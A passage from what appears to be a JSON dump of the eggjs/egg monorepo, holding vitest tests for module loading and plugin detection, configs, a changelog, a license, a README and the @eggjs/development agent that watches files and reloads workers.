importModule(getFilepath('cjs/es-module-default.js'), {\n        importDefaultOnly: true,\n      });\n      assert.deepEqual(Object.keys(obj).sort(), ['fn', 'foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n      assert.equal(typeof obj.fn, 'function');\n    });\n\n    it('should work on esm', async () => {\n      let obj = await importModule(getFilepath('esm'));\n      assert.deepEqual(Object.keys(obj), ['default', 'one']);\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar' });\n\n      obj = await importModule('./index.js', {\n        paths: [getFilepath('esm')],\n      });\n      assert.deepEqual(Object.keys(obj), ['default', 'one']);\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar' });\n\n      obj = await importModule(getFilepath('esm'), { importDefaultOnly: true });\n      assert.deepEqual(obj, { foo: 'bar' });\n\n      obj = await importModule(getFilepath('esm/exports'));\n      assert.deepEqual(Object.keys(obj), ['foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n\n      obj = await importModule(getFilepath('esm/exports'), {\n        importDefaultOnly: true,\n      });\n      assert.deepEqual(Object.keys(obj), ['foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n\n      obj = await importModule(getFilepath('esm/exports.js'));\n      assert.deepEqual(Object.keys(obj), ['foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n\n      obj = await importModule(getFilepath('esm/exports.mjs'));\n      assert.deepEqual(Object.keys(obj), ['foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n    });\n\n    it('should work on tshy without dist', async () => {\n      let obj = await importModule(getFilepath('tshy'));\n      assert.deepEqual(Object.keys(obj), ['default', 'one']);\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar' });\n\n      obj = await importModule(getFilepath('tshy'), {\n        importDefaultOnly: true,\n      });\n      assert.deepEqual(obj, { foo: 'bar' });\n    });\n\n    it('should work on tshy with dist', async () => {\n      const obj = await importModule(getFilepath('tshy-dist'));\n      assert.equal(obj.one, 2);\n    });\n\n    it('should work on ts-module', async () => {\n      let obj = await importModule(getFilepath('ts-module'));\n      assert.deepEqual(Object.keys(obj).sort(), ['default', 'one']);\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar' });\n\n      obj = await importModule(getFilepath('ts-module'), {\n        importDefaultOnly: true,\n      });\n      assert.deepEqual(obj, { foo: 'bar' });\n\n      obj = await importModule(getFilepath('ts-module/exports'));\n      if (process.version.startsWith('v24.')) {\n        // support `module.exports` on Node.js >=24\n        assert.deepEqual(Object.keys(obj).sort(), ['foo', 'one']);\n      } else {\n        assert.deepEqual(Object.keys(obj).sort(), ['foo', 'one']);\n      }\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n\n      obj = await importModule(getFilepath('ts-module/exports'), {\n        importDefaultOnly: true,\n      });\n      assert.deepEqual(Object.keys(obj), ['foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n\n      obj = await importModule(getFilepath('ts-module/exports.ts'), {\n        importDefaultOnly: true,\n      });\n      assert.deepEqual(Object.keys(obj), ['foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n\n      obj = await importModule(getFilepath('ts-module/mod'));\n      assert.deepEqual(Object.keys(obj), ['default']);\n      assert.equal(typeof obj.default, 'function');\n\n      obj = await importModule(getFilepath('ts-module/mod.ts'), {\n        importDefaultOnly: true,\n      });\n      assert.equal(typeof obj, 'function');\n    });\n\n    it('should support module.exports = null', async () => {\n      assert.equal(\n        await importModule(getFilepath('cjs/module-exports-null.js'), {\n          importDefaultOnly: true,\n        }),\n        null,\n      );\n      assert.equal(\n        await importModule(getFilepath('cjs/module-exports-null'), {\n          importDefaultOnly: true,\n        }),\n        null,\n      );\n      assert.equal(\n        (\n          await importModule(getFilepath('cjs/module-exports-null'), {\n            importDefaultOnly: false,\n          })\n        ).default,\n        null,\n      );\n    });\n\n    it('should support export default null', async () => {\n      assert.equal(\n        await importModule(getFilepath('esm/export-default-null.js'), {\n          importDefaultOnly: true,\n        }),\n        null,\n      );\n      assert.equal(\n        await importModule(getFilepath('esm/export-default-null'), {\n          importDefaultOnly: true,\n        }),\n        null,\n      );\n      assert.equal(\n        (\n          await importModule(getFilepath('esm/export-default-null.js'), {\n            importDefaultOnly: false,\n          })\n        ).default,\n        null,\n      );\n    });\n  });\n\n  describe('isSupportTypeScript()', () => {\n    it('should be false when EGG_TS_ENABLE is false', () => {\n      vi.stubEnv('EGG_TS_ENABLE', 'false');\n      expect(isSupportTypeScript()).toBe(false);\n      vi.unstubAllEnvs();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/utils/test/index.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, expect } from 'vitest';\n\nimport { detectType, EggType } from '../src/index.ts';\nimport * as all from '../src/index.ts';\nimport { getFilepath } from './helper.ts';\n\ndescribe('test/index.test.ts', () => {\n  describe('detectType()', () => {\n    it('should detect application', async () => {\n      const baseDir = getFilepath('egg-app');\n      assert.equal(await detectType(baseDir), EggType.application);\n      assert.equal(await detectType(baseDir), 'application');\n    });\n\n    it('should detect plugin', async () => {\n      const baseDir = getFilepath('egg-app/plugin/p');\n      assert.equal(await detectType(baseDir), EggType.plugin);\n      assert.equal(await detectType(baseDir), 'plugin');\n    });\n\n    it('should detect framework', async () => {\n      const baseDir = getFilepath('framework-egg-default/node_modules/egg');\n      assert.equal(await detectType(baseDir), EggType.framework);\n      assert.equal(await detectType(baseDir), 'framework');\n    });\n\n    it('should detect unknown', async () => {\n      const baseDir = getFilepath('no-package-json');\n      assert.equal(await detectType(baseDir), EggType.unknown);\n      assert.equal(await detectType(baseDir), 'unknown');\n    });\n  });\n\n  describe('export all', () => {\n    it('should keep checking', () => {\n      expect(Object.keys(all).sort()).toMatchSnapshot();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/utils/test/plugin.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport { existsSync } from 'node:fs';\nimport { rm } from 'node:fs/promises';\nimport fsPromise from 'node:fs/promises';\nimport path from 'node:path';\n\nimport coffee from 'coffee';\nimport { runscript } from 'runscript';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport utils from '../src/index.js';\nimport { getFilepath } from './helper.js';\n\n// FIXME: dont install online\ndescribe.skip('test/plugin.test.ts', () => {\n  const cwd = getFilepath('egg-app');\n  const tmp = getFilepath('tmp');\n\n  beforeEach(async () => {\n    await rm(tmp, { force: true, recursive: true });\n    await fsPromise.cp(cwd, tmp, { force: true, recursive: true });\n    assert(existsSync(tmp), `${tmp} not exists`);\n  });\n  afterEach(() => rm(tmp, { force: true, recursive: true }));\n\n  describe('getPlugins()', () => {\n    const bin = path.join(cwd, 'get_plugin.js');\n    it('should get plugins using npm', async () => {\n      let cmd = 'npm -v && npm install';\n      if (!process.env.CI) {\n        cmd += ' --registry=https://registry.npmmirror.com';\n      }\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get all plugins \\[\"onerror\",/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it.skip('should get plugins using npminstall', async () => {\n      const cmd = process.env.CI ? 'npminstall' : 'npminstall -c';\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get all plugins \\[\"onerror\",/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it.skip('should get plugins using npminstall on test', async () => {\n      const cmd = process.env.CI ? 'npminstall' : 'npminstall -c';\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n        env: 'test',\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get all plugins \\[\"onerror\",/)\n        .expect('code', 0)\n        .end();\n      const plugins = await utils.getPlugins({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      assert(Object.keys(plugins).length > 0);\n      // console.log(plugins);\n      assert.equal(plugins.session.name, 'session');\n    });\n  });\n\n  describe('getLoadUnits()', () => {\n    const bin = path.join(cwd, 'get_loadunit.js');\n    it('should get plugins using npm', async () => {\n      let cmd = 'npm -v && npm install';\n      if (!process.env.CI) {\n        cmd += ' --registry=https://registry.npmmirror.com';\n      }\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get 11 plugin/)\n        .expect('stdout', /get 1 framework/)\n        .expect('stdout', /get 1 app/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should get plugins using npminstall', async () => {\n      const cmd = process.env.CI ? 'npminstall' : 'npminstall -c';\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get 11 plugin/)\n        .expect('stdout', /get 1 framework/)\n        .expect('stdout', /get 1 app/)\n        .expect('code', 0)\n        .end();\n      const units = await utils.getLoadUnits({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      assert(units.length > 0);\n      // console.log(units);\n      assert.equal(units[0].type, 'plugin');\n    });\n\n    it('should get plugins when baseDir is not exist', async () => {\n      const cmd = process.env.CI ? 'npminstall' : 'npminstall -c';\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get 11 plugin/)\n        .expect('stdout', /get 1 framework/)\n        .expect('stdout', /get 1 app/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should throw when no framework', async () => {\n      await coffee\n        .fork(bin, ['{}'], { cwd: tmp })\n        .debug()\n        .expect('stderr', /framework is required/)\n        .expect('code', 1)\n        .end();\n    });\n\n    it('should throw when framework is not exist', async () => {\n      const args = JSON.stringify({\n        framework: '/noexist',\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stderr', /\\/noexist should exist/)\n        .expect('code', 1)\n        .end();\n    });\n  });\n\n  describe('getConfig()', () => {\n    const bin = path.join(tmp, 'get_config.js');\n    it('should get configs using npm', async () => {\n      let cmd = 'npm -v && npm install';\n      if (!process.env.CI) {\n        cmd += ' --registry=https://registry.npmmirror.com';\n      }\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get app configs \\[\"middleware\",\"coreMiddleware\",\"session\"/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should get configs using npminstall on framework = egg', async () => {\n      const cmd = process.env.CI ? 'npminstall' : 'npminstall -c';\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/egg'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get app configs \\[\"middleware\",\"coreMiddleware\",\"session\"/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should get configs using npminstall on framework = custom egg', async () => {\n      const cmd = process.env.CI ? 'npminstall' : 'npminstall -c';\n      await runscript(cmd, { cwd: tmp });\n\n      const args = JSON.stringify({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/framework-demo'),\n      });\n      await coffee\n        .fork(bin, [args], { cwd: tmp })\n        .debug()\n        .expect('stdout', /get app configs \\[\"middleware\",\"coreMiddleware\",\"session\"/)\n        .expect('code', 0)\n        .end();\n      const config = await utils.getConfig({\n        baseDir: tmp,\n        framework: path.join(tmp, 'node_modules/framework-demo'),\n      });\n      assert(config);\n      assert.equal(config.name, 'egg-app');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/utils/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/utils/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/utils/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 15000,\n    include: ['test/**/*.test.ts'],\n    exclude: ['**/test/fixtures/**', '**/node_modules/**', '**/dist/**'],\n  },\n});\n"
  },
  {
    "path": "plugins/development/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [4.0.0](https://github.com/eggjs/development/compare/v3.0.2...v4.0.0) (2025-01-11)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\nBased on the comprehensive changes, here are the release notes:\n\n## Release Notes for @eggjs/development\n\n- **New Features**\n\t- Added TypeScript support for development environment\n\t- Enhanced file watching and reloading mechanisms\n\t- Improved configuration options for development mode\n\n- **Breaking Changes**\n\t- Migrated from `egg-development` to `@eggjs/development`\n\t- Requires Node.js version >=18.19.0\n\t- Dropped support for Node.js 14 and 16\n\n- **Improvements**\n\t- Refined ESLint configuration\n\t- Updated GitHub Actions workflow to focus on macOS testing\n\t- Added more robust file change detection\n\t- Enhanced type safety across the project\n\n- **Bug Fixes**\n\t- Improved handling of file reloading in different scenarios\n\t- Fixed potential issues with asset and service file monitoring\n\n- **Chores**\n\t- Updated dependencies\n\t- Migrated test suite to TypeScript\n\t- Restructured project configuration\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#34](https://github.com/eggjs/development/issues/34)) ([7a63cd6](https://github.com/eggjs/development/commit/7a63cd62be6b5ba1c3792bc983b42a1d0da42326))\n\n## [3.0.2](https://github.com/eggjs/egg-development/compare/v3.0.1...v3.0.2) (2024-12-22)\n\n\n### Bug Fixes\n\n* check run dir exists before read it ([#33](https://github.com/eggjs/egg-development/issues/33)) ([d95db72](https://github.com/eggjs/egg-development/commit/d95db72ecb2b24c4cce33654fa533f4901dc3896))\n\n## [3.0.1](https://github.com/eggjs/egg-development/compare/v3.0.0...v3.0.1) (2024-12-22)\n\n\n### Bug Fixes\n\n* skip read run dir when it not exists ([#32](https://github.com/eggjs/egg-development/issues/32)) ([2d24ce3](https://github.com/eggjs/egg-development/commit/2d24ce320eaf1c36601f9703f8d2a4635b636167))\n\n## [3.0.0](https://github.com/eggjs/egg-development/compare/v2.7.0...v3.0.0) (2024-05-08)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 14 support\n\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **New Features**\n  - Introduced a new GitHub Actions workflow for Node.js releases.\n- **Enhancements**\n- Updated continuous integration workflow with improved job\nconfigurations.\n- Enhanced file system operations across multiple JavaScript files using\nNode.js built-in modules.\n- **Bug Fixes**\n- Fixed directory and file operations in test suites to use updated\nNode.js methods.\n- **Documentation**\n  - Adjusted documentation comments and removed outdated directives.\n- **Refactor**\n- Removed the use of `'use strict';` in several JavaScript files to\nalign with modern standards.\n- **Dependencies**\n- Updated various dependencies and Node version requirements to ensure\ncompatibility and security.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* upgrade deps ([#31](https://github.com/eggjs/egg-development/issues/31)) ([af27674](https://github.com/eggjs/egg-development/commit/af27674a60b0407179db65499cf2b4b55662b06b))\n\n---\n\n\n2.7.0 / 2020-09-01\n==================\n\n**features**\n  * [[`45a653c`](http://github.com/eggjs/egg-development/commit/45a653c32188eb82d3532ce4cc833094a228c85a)] - feat: overrideIgnore (#30) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.6.0 / 2020-08-19\n==================\n\n**features**\n  * [[`2750b52`](http://github.com/eggjs/egg-development/commit/2750b525bba30d88e94bf622f22cfc4389cdcda5)] - feat: ignore app/web by default (#29) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.5.0 / 2020-05-25\n==================\n\n**features**\n  * [[`eaa9222`](http://github.com/eggjs/egg-development/commit/eaa922279c2c3bf55ffd7f394dedd09aa7ef2480)] - feat: support absolute path (#27) (TZ | 天猪 <<atian25@qq.com>>)\n\n**fixes**\n  * [[`b661cad`](http://github.com/eggjs/egg-development/commit/b661cad0251bb580c04ad2b8e7f35b20c765820b)] - fix: incorrect debounce on windows (#28) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n**others**\n  * [[`3652692`](http://github.com/eggjs/egg-development/commit/3652692dfa929040b3e35f05a7b03ae19b2e476b)] - chore: update travis (#25) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e5b4aa8`](http://github.com/eggjs/egg-development/commit/e5b4aa88fb1db901ca550fd1db95afd94c596a63)] - docs: update doc (#24) (Miaolegemie <<1942037006@qq.com>>)\n\n2.4.3 / 2019-05-07\n==================\n\n**fixes**\n  * [[`8c716f1`](http://github.com/eggjs/egg-development/commit/8c716f1bca5a44478229abf5ff2c47bc6fb3822f)] - fix: missing lib folder in npm package (#23) (Khaidi Chu <<i@2333.moe>>)\n\n2.4.2 / 2019-02-04\n==================\n\n**fixes**\n  * [[`1ea1c61`](http://github.com/eggjs/egg-development/commit/1ea1c618616e165da771c1bb4ff87f2abd0635b8)] - fix: don't reload in single process mode (#22) (Yiyu He <<dead_horse@qq.com>>)\n\n2.4.1 / 2018-08-02\n==================\n\n**fixes**\n  * [[`88f2967`](http://github.com/eggjs/egg-development/commit/88f2967207a43ba6a7e79a3426d3d1eae78fa292)] - fix: load router by middleware (#20) (Yiyu He <<dead_horse@qq.com>>)\n\n2.4.0 / 2018-07-31\n==================\n\n  * feat: app to watch list (#19)\n\n2.3.1 / 2018-06-20\n==================\n\n**others**\n  * [[`f87bee2`](http://github.com/eggjs/egg-development/commit/f87bee2171f29b042e88503896c8e8de11be6167)] - chore: missing lib directory in pkg.files (#18) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.3.0 / 2018-06-20\n==================\n\n**features**\n  * [[`3b6c138`](http://github.com/eggjs/egg-development/commit/3b6c1387712b68f7e0eb9833f7c486e37d77f8fd)] - feat: pick show loader timing (#17) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.2.0 / 2018-02-06\n==================\n\n**features**\n  * [[`307dc9c`](http://github.com/eggjs/egg-development/commit/307dc9c2659adea5fa6e9bcb65e8db178f8de366)] - feat: support custom `config.development.reloadPattern ` (#14) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.1.0 / 2017-12-13\n==================\n\n**features**\n  * [[`252929f`](http://github.com/eggjs/egg-development/commit/252929f980d055e1cec05811981e204d0d81cb23)] - feat: support override watchDirs (#13) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.0.0 / 2017-11-09\n==================\n\n**others**\n  * [[`4416724`](http://github.com/eggjs/egg-development/commit/44167241fdb7cd11a5c68b4de5e728aa8992dcf8)] - refactor: drop <8.x, support egg2. [BREAKING CHANGE] (#12) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.3.2 / 2017-11-01\n==================\n\n  * fix: fastReady default to false (#11)\n\n1.3.1 / 2017-06-04\n==================\n\n  * docs: fix License url (#10)\n  * chore: remove .vscode (#9)\n\n1.3.0 / 2017-04-18\n==================\n\n  * feat: allow reload on debug (#8)\n  * docs: adjust badge link (#6)\n\n1.2.0 / 2017-01-24\n==================\n\n  * feat: remove log runtime (#5)\n\n1.1.0 / 2017-01-03\n==================\n\n  * feat: can disable fast ready (#4)\n\n1.0.2 / 2016-09-20\n==================\n\n  * refactor: !isFile -> isDirectory (#3)\n\n1.0.1 / 2016-09-20\n==================\n\n  * fix: reload at remove file (#2)\n\n1.0.0 / 2016-09-13\n==================\n  * feat: release 1.0.0 \n\n0.1.0 / 2016-09-13\n==================\n  * feat: debounce reload && docs (#1)\n"
  },
  {
    "path": "plugins/development/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/development/README.md",
    "content": "# @eggjs/development\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/development.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/development.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/development\n[snyk-image]: https://snyk.io/test/npm/@eggjs/development/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/development\n[download-image]: https://img.shields.io/npm/dm/@eggjs/development.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/development\n\nThis is an egg plugin for local development, under development environment enabled by default, and closed under other environment.\n\n`@eggjs/development` has been built-in for egg. It is enabled by default.\n\n## Configuration\n\nsee [config/config.default.ts](https://github.com/eggjs/egg/blob/master/plugins/development/src/config/config.default.ts) for more detail.\n\n## Features\n\n- Under development environment, Output request log in STDOUT, statistic and output all key parts time-consuming;\n- Watch file changes, and reload application；\n\n### About Reload\n\nUnder the following directory (including subdirectories) will watch file changes under development environment by default, trigger an Egg development environment server reload:\n\n- ${app_root}/app\n- ${app_root}/config\n- ${app_root}/mocks\n- ${app_root}/mocks_proxy\n- ${app_root}/app.js\n\n> set `config.development.overrideDefault` to `true` to skip defaults merge.\n\nUnder the following directory (including subdirectories) will ignore file changes under development environment by default:\n\n- ${app_root}/app/view\n- ${app_root}/app/assets\n- ${app_root}/app/public\n- ${app_root}/app/web\n\n> set `config.development.overrideIgnore` to `true` to skip defaults merge.\n\nDeveloper can use `config.reloadPattern`([multimatch](https://github.com/sindresorhus/multimatch)) to control whether to reload.\n\n```ts\n// config/config.default.ts\nexport default = {\n  development: {\n    // don't reload when css fileChanged\n    // https://github.com/sindresorhus/multimatch\n    reloadPattern: ['**', '!**/*.css'],\n  },\n};\n```\n\n### Loader Trace\n\nYou can view loader trace for performance issue from `http://127.0.0.1:7001/__loader_trace__`\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/development/package.json",
    "content": "{\n  \"name\": \"@eggjs/development\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"development tool for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"plugin\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/development\",\n  \"bugs\": \"https://github.com/eggjs/egg/issues\",\n  \"license\": \"MIT\",\n  \"author\": \"jtyjty99999\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/development\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/middleware/egg_loader_trace\": \"./src/app/middleware/egg_loader_trace.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./utils\": \"./src/utils.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/middleware/egg_loader_trace\": \"./dist/app/middleware/egg_loader_trace.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./utils\": \"./dist/utils.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"debounce\": \"catalog:\",\n    \"multimatch\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/development/src/agent.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport debounce from 'debounce';\nimport type { ILifecycleBoot, Agent } from 'egg';\nimport multimatch from 'multimatch';\nimport { exists } from 'utility';\n\nimport { isTimingFile } from './utils.ts';\n\nexport default class AgentBoot implements ILifecycleBoot {\n  #agent: Agent;\n\n  constructor(agent: Agent) {\n    this.#agent = agent;\n  }\n\n  async didLoad(): Promise<void> {\n    // clean all timing json\n    const rundir = this.#agent.config.rundir;\n    const stat = await exists(rundir);\n    if (!stat) return;\n    const files = await fs.readdir(rundir);\n    for (const file of files) {\n      if (!isTimingFile(file)) continue;\n      await fs.rm(path.join(rundir, file), { force: true, recursive: true });\n    }\n  }\n\n  async serverDidReady(): Promise<void> {\n    const agent = this.#agent;\n    // single process mode don't watch and reload\n    if (agent.options && Reflect.get(agent.options, 'mode') === 'single') {\n      return;\n    }\n\n    const logger = agent.logger;\n    const baseDir = agent.config.baseDir;\n    const config = agent.config.development;\n\n    let watchDirs = config.overrideDefault ? [] : ['app', 'config', 'mocks', 'mocks_proxy', 'app.js'];\n\n    watchDirs = watchDirs.concat(config.watchDirs).map((dir) => path.resolve(baseDir, dir));\n\n    let ignoreReloadFileDirs = config.overrideIgnore\n      ? []\n      : ['app/views', 'app/view', 'app/assets', 'app/public', 'app/web'];\n\n    ignoreReloadFileDirs = ignoreReloadFileDirs.concat(config.ignoreDirs).map((dir) => path.resolve(baseDir, dir));\n\n    const reloadFile = debounce(function (info) {\n      logger.warn(`[agent:development] reload worker because ${info.path} ${info.event}`);\n\n      process.send!({\n        to: 'master',\n        action: 'reload-worker',\n      });\n    }, 200);\n\n    // watch dirs to reload worker, will debounce 200ms\n    /**\n     * reload app worker:\n     *   [AgentWorker] - on file change\n     *    |-> emit reload-worker\n     *   [Master] - receive reload-worker event\n     *    |-> TODO: Mark worker will die\n     *    |-> Fork new worker\n     *      |-> kill old worker\n     *\n     * @param {Object} info - changed fileInfo\n     */\n    agent.watcher.watch(watchDirs, (info: any) => {\n      if (!config.reloadOnDebug) {\n        return;\n      }\n\n      if (isAssetsDir(info.path) || info.isDirectory) {\n        return;\n      }\n\n      // don't reload if don't match\n      if (config.reloadPattern && multimatch(info.path, config.reloadPattern).length === 0) {\n        return;\n      }\n\n      reloadFile(info);\n    });\n\n    function isAssetsDir(filepath: string) {\n      for (const ignorePath of ignoreReloadFileDirs) {\n        if (filepath.startsWith(ignorePath)) {\n          return true;\n        }\n      }\n      return false;\n    }\n  }\n}\n"
  },
  {
